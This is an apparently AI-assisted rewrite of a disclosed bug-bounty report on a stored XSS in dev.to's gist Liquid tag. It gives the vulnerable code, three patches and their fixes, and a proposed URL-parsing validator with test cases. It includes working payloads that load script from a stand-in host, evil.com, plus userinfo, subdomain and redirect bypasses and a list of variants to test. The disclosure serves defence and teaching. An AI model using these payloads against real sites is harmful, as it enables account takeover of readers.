Skip to content
XSS Write-up Intermediate

Pwned Together: Hacking dev.to

A stored cross-site scripting (XSS) vulnerability existed in the custom Liquid tag for embedding GitHub gists, because the validation of the gist URL was insufficient. An attacker could inject a malicious script that would execute in the browser of anyone viewing an infected blog post, allowing the attacker to perform actions on behalf of the victim.

Antony Garand Follow

Published on dev.to

Bounty$150 View original

After reading this great post regarding the source of Dev.to, I got inspired. In order to celebrate my 500th follower on here, I gave myself the challenge to hack dev.to!

Antony Garand (@AntoGarand), on dev.to

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

dev.to is an open source publishing platform, and its source lives in the thepracticaldev/dev.to repository. Among the features it offers are custom Liquid tags, documented in the Editor Guide, which authors can drop into a post to embed external content. One of those tags is the gist tag, which embeds a GitHub gist into a blog post.

The tag is implemented under /app/liquid_tags. The gist tag takes the URL of a gist, validates it, and renders it into the page. The researcher, Antony Garand (@AntoGarand), set out to hack dev.to after reading a post by Josh Cheek about the site being open source, and found a stored XSS in this custom Liquid tag. A stored XSS means the payload is saved on the server and served by the site itself, so it fires for anyone who views the infected post, not just for someone who clicks a crafted link. In a single page application, the researcher notes, JavaScript running in that context can do essentially anything with the victim's account: update the profile, publish posts, like and comment, and more.

joshcheek
joshcheek From the original on dev.to

The image is the avatar of joshcheek, the author of the open source announcement post that inspired the challenge.

Setup

No special accounts, roles or tooling are described. The preconditions are simply that dev.to runs the open source code, that the gist Liquid tag is available to post authors, and that the source of each tag is public in the repository. The researcher worked by reading the tag implementations and testing the validation logic.

Finding it

The starting point was the Editor Guide, which lists the custom Liquid tags. One of them had been newly created by Josh in the post that inspired the challenge, so the researcher started there. Reading through /app/liquid_tags, the gist tag stood out because the supplied link was rendered directly into a script tag:

HTML
html = <<~HTML
  <div class="ltag_gist-liquid-tag">
      <script id="gist-ltag" src="#{@link}.js"></script>
  </div>
HTML

A user-controlled value going straight into the src of a script element is a red flag. The validation meant to constrain that value was:

Ruby
def valid_link?(link)
    link.include?("gist.github.com")
end

This only checks that the string contains gist.github.com somewhere. It does not check the scheme, the host, or where in the URL the substring appears. The documented usage of the tag is:

Text
{% gist https://gist.github.com/QuincyLarson/[redacted] %}

Appending .js to that URL yields a script that builds the embed around the gist content.

Exploitation

Step 1: break out of the intended host

Because the only check was a substring match, a link that merely contains gist.github.com passes. The researcher used a protocol-relative URL with the trusted string placed in the fragment:

Text
{% gist //evil.com/script#gist.github.com %}

This is rendered as:

HTML
<script src="//evil.com/script#gist.github.com.js"></script>

The browser resolves //evil.com/script against the page's scheme and loads the script from evil.com; everything after # is a fragment and is not sent to the server. The substring check is satisfied by the fragment, while the actual script comes from an attacker-controlled host. The result is a stored XSS: the malicious script loads whenever the blog post is viewed.

Step 2: first patch and its bypass

After the dev team was notified, they released a patch that tightened valid_link?:

Ruby
def valid_link?(link)
    (link =~ /(http|https):\/\/(gist.github.com).*/)&.zero?
end

This requires the link to start with http://gist.github.com or https://gist.github.com. The researcher found two URLs that still pass this check but load an external script:

  • https://[redacted]/
  • http://gist.github.com.evil.com/

The first abuses the Basic Authentication Scheme: the part before @ is treated as a username, so the request actually goes to evil.com with gist.github.com as the username. The second is simply a subdomain of evil.com. Both satisfy the regex because it only anchors the start of the string and does not require a path separator after the host.

Step 3: second patch and its bypass

The team fixed that by requiring a trailing slash after gist.github.com:

Ruby
def valid_link?(link)
    (link =~ /^(http(s)?:)?\/\/(gist.github.com)\/.*/)&.zero?
end

This correctly mitigates the credential and subdomain tricks, since the host must now be followed by /. But the researcher found another bypass that relies on how GitHub serves raw gist files. A raw gist file has a URL of the form:

Text
https://gist.githubusercontent.com/[name]/[gistid]/raw/[fileid]/[filename.ext]

Replacing the domain gist.githubusercontent.com with gist.github.com causes a redirect back to the githubusercontent.com domain, so the same raw file is reachable from both. The researcher's proof of concept, poc.js, was therefore available at both of these URLs:

  • https://gist.githubusercontent.com/AntonyGarand/[redacted]/raw/[redacted]/poc.js
  • https://gist.github.com/AntonyGarand/[redacted]/raw/[redacted]/poc.js

The second URL starts with https://gist.github.com/, so it passes the patched validation, and the raw file is served from the trusted domain. That makes it a working bypass of the second patch.

Step 4: final patch

The team closed this by forcing the gist link to a stricter regex, which constrains the username and gist id segments:

Ruby
  def valid_link?(link)
    (link =~ /^https\:\/\/gist\.github\.com\/([a-zA-Z0-9\-]){1,39}\/([a-zA-Z0-9]){32}\s/)&.
      zero?
  end

Root cause

The mistake is that a user-controlled URL was interpolated directly into a script element's src, and the validation guarding it was a substring check rather than a parse of the URL. A substring check cannot distinguish the host from the userinfo, the fragment, a subdomain, or a path, so each patch that only extended the pattern left another way to make the string start with the trusted host while the browser fetched something else. The final fix narrows the accepted shape of the URL, but the underlying design, putting the value into a script src at all, is what made each bypass dangerous.

Impact

A stored XSS in a blog post means that anyone who viewed the infected post could have had their browser controlled by the attacker, with actions executed on their behalf. In a single page application, the researcher notes, that includes updating the profile, publishing new posts, liking and commenting, and much more. Because the payload is stored server-side and served by the site, it fires through normal user behaviour and is replicated for every viewer, which is why the researcher rates it as severe. The report does not give a CVSS score or a formal severity rating.

Fix

The dev team patched the tag three times. The first patch anchored the link to http(s)://gist.github.com. The second required a trailing slash after the host. The final change, applied by forcing the gist link to a stricter regex, requires https, constrains the username to 1 to 39 characters of [a-zA-Z0-9\-], the gist id to 32 alphanumeric characters, and a trailing whitespace. The researcher also proposes a more thorough validation based on parsing the URL with URI.parse and checking the scheme, userinfo, host, port, fragment, query and path segments, together with a set of test cases covering valid and invalid links. That proposal is a suggestion, not something the report says was deployed.

Variants to test

  1. Look for any Liquid tag or embed helper that interpolates a user-supplied URL into a script src, an iframe src, or an HTML attribute. A positive result is a tag whose output contains the raw link in an executable context.
  2. Test substring-based validators with protocol-relative URLs and fragments, for example a link whose host is attacker-controlled but whose fragment contains the trusted string. A positive result is a rendered element that loads from the attacker host.
  3. Test host-anchored regexes with userinfo and subdomain tricks such as https://[redacted]/ and http://trusted.example.evil.example/. A positive result is a link that passes validation but resolves to the attacker's host.
  4. Test validators that require a trusted host followed by a path, using open redirects or raw-file endpoints on the trusted host that redirect elsewhere. A positive result is a URL that passes validation and whose response is attacker-controlled content.
  5. Feed the validator edge cases: missing scheme, non-default ports, query strings, fragments, too few or too many path segments, and ids with unexpected characters. A positive result is any input that is accepted but does not correspond to a legitimate resource.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 18 min read.

What happened, in plain words

A security researcher called Antony Garand (@AntoGarand) decided to try to hack dev.to, a website where people publish articles about programming. He did it as a personal challenge, to celebrate reaching 500 followers on the site. He had just read a post by Josh Cheek explaining that dev.to is open source, meaning its full source code is published for anyone to read.

joshcheek
joshcheek From the original on dev.to

The image above is the avatar of joshcheek, the author of the open source announcement post that inspired the challenge.

While reading that code, he found a bug in a feature called a Liquid tag. Liquid tags are little shortcuts that authors can type into a post to embed something from another site, for example a GitHub gist (a small snippet of code hosted on GitHub). The bug was a stored XSS, which stands for Cross-Site Scripting. In plain words: an attacker could save a piece of JavaScript (the programming language that runs inside your browser) into a blog post, and that code would then run in the browser of every person who opened the post. The researcher could have taken control of your browser and done things on your behalf: change your profile, publish posts, like and comment on articles, and much more.

Because dev.to is a single page application (a website that loads once and then updates itself in the browser without full page reloads), JavaScript running in that page has a lot of power over your account. That is why the researcher calls this a severe issue.

The report describes four rounds: the original bug, a first fix that could be bypassed, a second fix that could also be bypassed, and a final fix. The researcher earned a place in the security hall of fame, a 150 USD bounty and a pack of stickers.

Background: what is an XSS?

An XSS is a flaw where a malicious user can inject JavaScript code into a page. There are two main types:

  • Reflected XSS: the malicious code is not saved anywhere. It only runs if the victim clicks a specially crafted link. The attacker has to trick you into visiting a URL.
  • Stored XSS: the malicious code is saved on the server, and the website itself serves it to every visitor. This is much more dangerous, because it fires through normal behaviour (just opening a blog post) and affects everyone who reads it.

The researcher compares it to a famous TweetDeck incident a few years earlier, where a stored XSS made a malicious tweet retweet itself over and over.

Background: what is a Liquid tag?

dev.to lets authors write posts in a simple markup language. On top of that, it offers custom Liquid tags: short instructions in curly braces that get replaced by richer content when the post is displayed. The Editor Guide (a help page for authors) documents them. One of them is the gist tag, which embeds a GitHub gist into a post.

A gist is a small piece of code or text that someone has published on GitHub (a website for hosting code). When you embed a gist, dev.to fetches a small script from GitHub that draws a nice box around the gist content. That is the feature the researcher attacked.

Finding the bug

The researcher started from the Editor Guide, which lists all the custom Liquid tags. One of them had just been created by Josh in the post that inspired the challenge, so he looked at that one first. The source code for all these tags lives in a folder called /app/liquid_tags in the public repository.

The gist tag stood out immediately, because the link supplied by the author was placed directly inside a script tag in the page. Here is the code that builds the HTML:

HTML
html = <<~HTML
  <div class="ltag_gist-liquid-tag">
      <script id="gist-ltag" src="#{@link}.js"></script>
  </div>
HTML

Line by line:

  • html = <<~HTML ... HTML is Ruby syntax for building a multi-line string. Everything between the two HTML markers becomes the value of the variable html.
  • <div class="ltag_gist-liquid-tag"> opens a container with a CSS class name, so the site can style the embed.
  • <script id="gist-ltag" src="#{@link}.js"></script> is the important line. A <script> element with a src attribute tells the browser: download the file at this address and run it as JavaScript. The #{@link} part is Ruby's way of inserting a variable into a string. So whatever link the author typed is placed right there, followed by .js.
  • </div> closes the container.

Why this is a red flag: the address of a script is a very sensitive place. If an attacker can control what goes into src, they can make the browser download and run code from their own server. That is exactly what an XSS needs.

The code that was supposed to prevent this was:

Ruby
def valid_link?(link)
    link.include?("gist.github.com")
end

Line by line:

  • def valid_link?(link) defines a function (a reusable block of code) named valid_link? that takes one input, called link. In Ruby, a method name ending in ? by convention returns true or false.
  • link.include?("gist.github.com") asks: does the text of link contain the substring gist.github.com anywhere? It returns true if yes, false if no.
  • end closes the function.

This check is far too weak. It only asks whether the trusted text appears somewhere in the string. It does not check which website the link actually points to, whether it uses http or https, or where in the URL the trusted text appears. A string that merely contains gist.github.com somewhere would pass, even if the browser went elsewhere.

The documented way to use the tag is:

Text
{% gist https://gist.github.com/QuincyLarson/[redacted] %}

This is what an author types in a post. dev.to replaces it with the <script> element shown above, and appending .js to the gist URL gives a script that draws the embed.

Exploitation, step 1: break out of the intended host

Because the only check was a substring match, the researcher could craft a link that contains gist.github.com but actually loads from a server he controlled. He used a protocol-relative URL (a URL starting with //, which means "use the same scheme as the current page, http or https") and put the trusted text in the fragment (the part after #, which browsers never send to the server):

Text
{% gist //evil.com/script#gist.github.com %}

This is rendered as:

HTML
<script src="//evil.com/script#gist.github.com.js"></script>

Line by line:

  • //evil.com/script is the address the browser will actually fetch. The // means "same scheme as this page", so on an https page it becomes https://evil.com/script.
  • #gist.github.com.js is the fragment. Browsers keep it locally and do not send it to the server. It exists only to satisfy the substring check.
  • The .js from the template is appended after the fragment, which is harmless.

So the validation sees the trusted text and says yes, but the browser downloads and runs a script from evil.com. Because the post is saved on dev.to's server, this is a stored XSS: every reader of the post runs the attacker's script.

Exploitation, step 2: first patch and its bypass

The dev team was notified and quickly released a patch. The new validation was:

Ruby
def valid_link?(link)
    (link =~ /(http|https):\/\/(gist.github.com).*/)&.zero?
end

Line by line:

  • link =~ /.../ applies a regular expression (a pattern for matching text) to the link. It returns the position where the match starts, or nil if there is no match.
  • (http|https) means "either the text http or the text https".
  • :\/\/ means a literal ://. The backslashes escape the slashes because / is the delimiter of the regex.
  • (gist.github.com) is the trusted host. The dots are not escaped, so in regex terms they match any character, but in practice this still matches the literal dots.
  • .* means "any characters, zero or more".
  • &.zero? is Ruby's safe navigation: if the match position is 0 (the match starts at the very beginning of the string), return true; if the match is nil, return false.

In plain words: the link must now start with http://gist.github.com or https://gist.github.com. That is better, but still not enough. The researcher found two URLs that pass this check but still load an external script:

  • https://[redacted]/
  • http://gist.github.com.evil.com/

The first one abuses the Basic Authentication Scheme. In a URL, the part before an @ sign is treated as a username. So the browser reads gist.github.com as the username and evil.com as the actual website to contact. The request goes to evil.com, with gist.github.com as the username. The regex is happy because the string starts with https://gist.github.com.

The second one is simply a subdomain: gist.github.com.evil.com is a name under evil.com. It starts with the trusted text, so the regex passes, but the browser goes to the attacker's server.

Both tricks work because the regex only anchors the start of the string and does not require a / after the host. It cannot tell where the host ends and something else begins.

Exploitation, step 3: second patch and its bypass

The team fixed that by requiring a trailing slash after gist.github.com:

Ruby
def valid_link?(link)
    (link =~ /^(http(s)?:)?\/\/(gist.github.com)\/.*/)&.zero?
end

Line by line:

  • ^ anchors the match to the start of the string.
  • (http(s)?:)? means an optional http: or https: prefix. The ? after the group makes the whole prefix optional.
  • \/\/ means a literal //.
  • (gist.github.com) is the trusted host.
  • \/ requires a literal slash right after the host. This is the key change: the host must be followed by a path separator, so [redacted] and gist.github.com.evil.com no longer pass.
  • .* allows anything after that.
  • &.zero? again checks that the match starts at position 0.

This correctly blocks the username and subdomain tricks. But the researcher found another bypass, based on how GitHub serves raw gist files. A raw gist file has a URL of this shape:

Text
https://gist.githubusercontent.com/[name]/[gistid]/raw/[fileid]/[filename.ext]

In plain words: gist.githubusercontent.com is a separate domain that GitHub uses to serve the raw contents of gists. If you replace that domain with gist.github.com, GitHub redirects you back to gist.githubusercontent.com. So the same raw file is reachable from both addresses. The researcher's proof of concept, a file called poc.js, was therefore available at both of these URLs:

  • https://gist.githubusercontent.com/AntonyGarand/[redacted]/raw/[redacted]/poc.js
  • https://gist.github.com/AntonyGarand/[redacted]/raw/[redacted]/poc.js

The second URL starts with https://gist.github.com/, so it passes the patched validation. But the file it serves is the attacker's own JavaScript, hosted on GitHub. That makes it a working bypass of the second patch.

Exploitation, step 4: final patch

The team closed this by forcing the gist link to a stricter regex, which constrains the username and gist id segments:

Ruby
  def valid_link?(link)
    (link =~ /^https\:\/\/gist\.github\.com\/([a-zA-Z0-9\-]){1,39}\/([a-zA-Z0-9]){32}\s/)&.
      zero?
  end

Line by line:

  • ^https\:\/\/gist\.github\.com\/ requires the link to start with exactly https://gist.github.com/. The dots are escaped (\.) so they match literal dots, not any character.
  • ([a-zA-Z0-9\-]){1,39} requires the username segment to be 1 to 39 characters, each being a letter, a digit or a hyphen.
  • \/ requires a slash after the username.
  • ([a-zA-Z0-9]){32} requires the gist id to be exactly 32 alphanumeric characters.
  • \s requires a whitespace character after the id. This is a bit odd, but it is what the patch does.

In plain words: the link must now look like a real gist URL, with a plausible username and a 32-character id, over https.

Root cause

The mistake is that a user-controlled URL was placed directly into a script element's src, and the validation guarding it was a substring check rather than a proper parse of the URL. A substring check cannot tell the host apart from the username, the fragment, a subdomain, or a path. Each patch that only extended the pattern left another way to make the string start with the trusted host while the browser fetched something else. The final fix narrows the accepted shape of the URL, but the underlying design, putting the value into a script src at all, is what made each bypass dangerous.

Impact

A stored XSS in a blog post means that anyone who viewed the infected post could have had their browser controlled by the attacker, with actions executed on their behalf. In a single page application, that includes updating the profile, publishing new posts, liking and commenting, and much more. Because the payload is stored server-side and served by the site, it fires through normal user behaviour and is replicated for every viewer, which is why the researcher rates it as severe. The report does not give a CVSS score or a formal severity rating.

Fix

The dev team patched the tag three times. The first patch anchored the link to http(s)://gist.github.com. The second required a trailing slash after the host. The final change, applied by forcing the gist link to a stricter regex, requires https, constrains the username to 1 to 39 characters of [a-zA-Z0-9\-], the gist id to 32 alphanumeric characters, and a trailing whitespace.

The researcher also proposes a more thorough validation based on parsing the URL with URI.parse and checking the scheme, userinfo, host, port, fragment, query and path segments, together with a set of test cases covering valid and invalid links. That proposal is a suggestion, not something the report says was deployed. Here is the proposed code:

Ruby
require 'uri'

def valid?(link)
  uri = URI.parse link
  return false if uri.scheme != 'https'
  return false if uri.userinfo
  return false if uri.host != 'gist.github.com'
  return false if uri.port != 443 # I think it has to be this if its https?
  return false if uri.fragment
  return false if uri.query

  # idk if old gist ids could be arbitrary chars,
  # but the 10 or so I looked at all seemed to be hex
  path, gist = File.split uri.path
  return false unless gist && gist.match?(/\A[0-9a-f]{32}\z/)

  path, user = File.split path
  return false unless user && user.match?(/\A[a-zA-Z0-9\-]{1,39}\z/)

  path == '/'
end

Line by line:

  • require 'uri' loads Ruby's built-in URI library, which knows how to split a URL into its parts.
  • uri = URI.parse link parses the link into a structured object with fields like scheme, host, port, path, query and fragment.
  • return false if uri.scheme != 'https' rejects anything that is not https.
  • return false if uri.userinfo rejects URLs that contain a username or password (the user:pass@ part).
  • return false if uri.host != 'gist.github.com' requires the host to be exactly gist.github.com.
  • return false if uri.port != 443 requires the default https port.
  • return false if uri.fragment rejects URLs with a # fragment.
  • return false if uri.query rejects URLs with a ? query string.
  • path, gist = File.split uri.path splits the path into the directory part and the last segment (the gist id).
  • return false unless gist && gist.match?(/\A[0-9a-f]{32}\z/) requires the gist id to be exactly 32 lowercase hexadecimal characters.
  • path, user = File.split path splits the remaining path into the directory part and the username.
  • return false unless user && user.match?(/\A[a-zA-Z0-9\-]{1,39}\z/) requires the username to be 1 to 39 letters, digits or hyphens.
  • path == '/' requires that what remains is just a single slash, so there are no extra path segments.

And here are the test cases the researcher suggests, covering valid and invalid links:

Ruby
valid = [
  # suggested one
  "https://gist.github.com/QuincyLarson/[redacted]",
  # max name size (based on the existing regex, I didn't verify that it matches Github's rules)
  "https://gist.github.com/aaaaaaaaaabbbbbbbbbbccccccccccddddddddd/[redacted]",
  # min name size
  "https://gist.github.com/a/[redacted]",
  # each of the gist id char values (seems to be hex)
  "https://gist.github.com/a/[redacted]",
  # user can have a dash in their name
  "https://gist.github.com/quincy-larson/[redacted]",
  # just for contrast with some of the tests below
  "https://gist.github.com/a/[redacted]",
]

invalid = [
  # the same as the valid one, except it's http. I actually thought browsers
  # would refuse to make http requests from https sites, but either way, it
  # should be disallowed as it's MITMable
  "http://gist.github.com/QuincyLarson/[redacted]",
  # host
  "https://evil.com/QuincyLarson/[redacted]",
  # auth credentials
  "https://user:[redacted]/QuincyLarson/[redacted]",
  # http port (not totally sure this matters)
  "https://gist.github.com:80/QuincyLarson/[redacted]",
  # query
  "https://gist.github.com/QuincyLarson/[redacted]?q",
  # fragment
  "https://gist.github.com/QuincyLarson/[redacted]#f",
  # this one exceeds the max name size
  "https://gist.github.com/aaaaaaaaaabbbbbbbbbbccccccccccddddddddde/[redacted]",
  # less than min name size
  "https://gist.github.com//[redacted]",
  # invalid gist id chars (outside the hex range)
  "https://gist.github.com/a/[redacted]",
  # quick test showed that GH was case sensitive about the hex in the gist id
  "https://gist.github.com/a/[redacted]",
  # too few path segments
  "https://gist.github.com",
  "https://gist.github.com/",
  "https://gist.github.com/a",
  # too many path segments
  "https://gist.github.com/QuincyLarson/[redacted]/[redacted]",
  # these ones were used to bypass validity in the blog
  "//evil.com/script#gist.github.com",
  "https://[redacted]/",
  "https://gist.github.com/AntonyGarand/[redacted]/raw/[redacted]/poc.js",
]

valid.all?    { |link| valid? link } # => true
invalid.none? { |link| valid? link } # => true

Line by line:

  • valid = [...] is a list of links that should be accepted. Each line is a string in double quotes, and the # lines are comments explaining why the case is there.
  • invalid = [...] is a list of links that should be rejected. It includes the http version, a wrong host, a URL with credentials, a non-default port, a query string, a fragment, a too-long username, an empty username, an invalid gist id character, an uppercase gist id, too few path segments, too many path segments, and the three bypasses used in the blog.
  • valid.all? { |link| valid? link } # => true runs the valid? function on every link in the valid list and checks that all of them return true.
  • invalid.none? { |link| valid? link } # => true runs the valid? function on every link in the invalid list and checks that none of them return true.

These tests are a way to make sure the validation behaves as intended, and to catch regressions if someone changes it later.

Variants to test

If you want to look for similar bugs yourself, here are the kinds of things to try. These are general ideas, not steps that the report says were performed.

  1. Look for any Liquid tag or embed helper that places a user-supplied URL into a script src, an iframe src, or an HTML attribute. A positive result is a tag whose output contains the raw link in an executable context.
  2. Test substring-based validators with protocol-relative URLs and fragments, for example a link whose host is attacker-controlled but whose fragment contains the trusted string. A positive result is a rendered element that loads from the attacker host.
  3. Test host-anchored regexes with userinfo and subdomain tricks such as https://[redacted]/ and http://trusted.example.evil.example/. A positive result is a link that passes validation but resolves to the attacker's host.
  4. Test validators that require a trusted host followed by a path, using open redirects or raw-file endpoints on the trusted host that redirect elsewhere. A positive result is a URL that passes validation and whose response is attacker-controlled content.
  5. Feed the validator edge cases: missing scheme, non-default ports, query strings, fragments, too few or too many path segments, and ids with unexpected characters. A positive result is any input that is accepted but does not correspond to a legitimate resource.

Glossary

  • XSS (Cross-Site Scripting): a bug where an attacker can make their JavaScript run inside someone else's browser on a website they trust.
  • Stored XSS: an XSS where the malicious code is saved on the server and served to every visitor of the affected page.
  • Reflected XSS: an XSS where the malicious code is not saved, and only runs if the victim clicks a crafted link.
  • JavaScript: the programming language that runs inside web browsers and makes pages interactive.
  • Single page application (SPA): a website that loads once and then updates itself in the browser without full page reloads, so JavaScript running in it has a lot of control over the page.
  • Open source: software whose source code is published and can be read, modified and reused by anyone.
  • Repository: a place where source code is stored and tracked, often on a site like GitHub.
  • Liquid tag: a short instruction in curly braces that a publishing platform replaces with richer content when displaying a post.
  • Gist: a small piece of code or text published on GitHub, which can be embedded elsewhere.
  • GitHub: a website for hosting and sharing code.
  • Script tag: an HTML element that tells the browser to download and run a JavaScript file.
  • src attribute: the part of an HTML element that says which address to load content from.
  • Substring check: a validation that only asks whether some text appears somewhere in a string, without checking where or in what role.
  • Regular expression (regex): a pattern used to match text, for example to check that a string starts with a certain prefix.
  • Protocol-relative URL: a URL starting with //, which means "use the same scheme (http or https) as the current page".
  • Fragment: the part of a URL after #.
  • Query string: the part of a URL after ?, used to pass parameters to the server.
  • Host: the domain name part of a URL, for example gist.github.com.
  • Subdomain: a name under a larger domain, for example gist.github.com.evil.com is a subdomain of evil.com.
  • Basic Authentication Scheme: a way of putting a username (and optionally a password) into a URL before an @ sign, so the browser sends it to the server.
  • Userinfo: the username and password part of a URL, before the @ sign.
  • Redirect: a server response that tells the browser to go to a different address.
  • Raw gist file: the plain contents of a gist, served from a separate GitHub domain (gist.githubusercontent.com).
  • Patch: a change to source code that fixes a bug.
  • Bypass: a way to get around a fix, so the bug still works.
  • Root cause: the underlying design or coding mistake that makes a bug possible, as opposed to the specific symptom.
  • CVSS: a standard scoring system for the severity of security vulnerabilities.
  • Bounty: a reward, often money, paid to a researcher who reports a valid security bug.
  • Hall of fame: a public list of researchers who have reported valid bugs to a company.
  • MITM (man-in-the-middle): an attacker who sits between you and a website and can read or change the traffic, which is why http is unsafe.
  • Port: a number that identifies a specific service on a server; 443 is the default for https and 80 for http.
  • URI.parse: a Ruby function that splits a URL into its parts so they can be checked individually.
  • Hex (hexadecimal): a way of writing numbers using the characters 0 to 9 and a to f.

More by Antony Garand

View all

1 more disclosed report, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.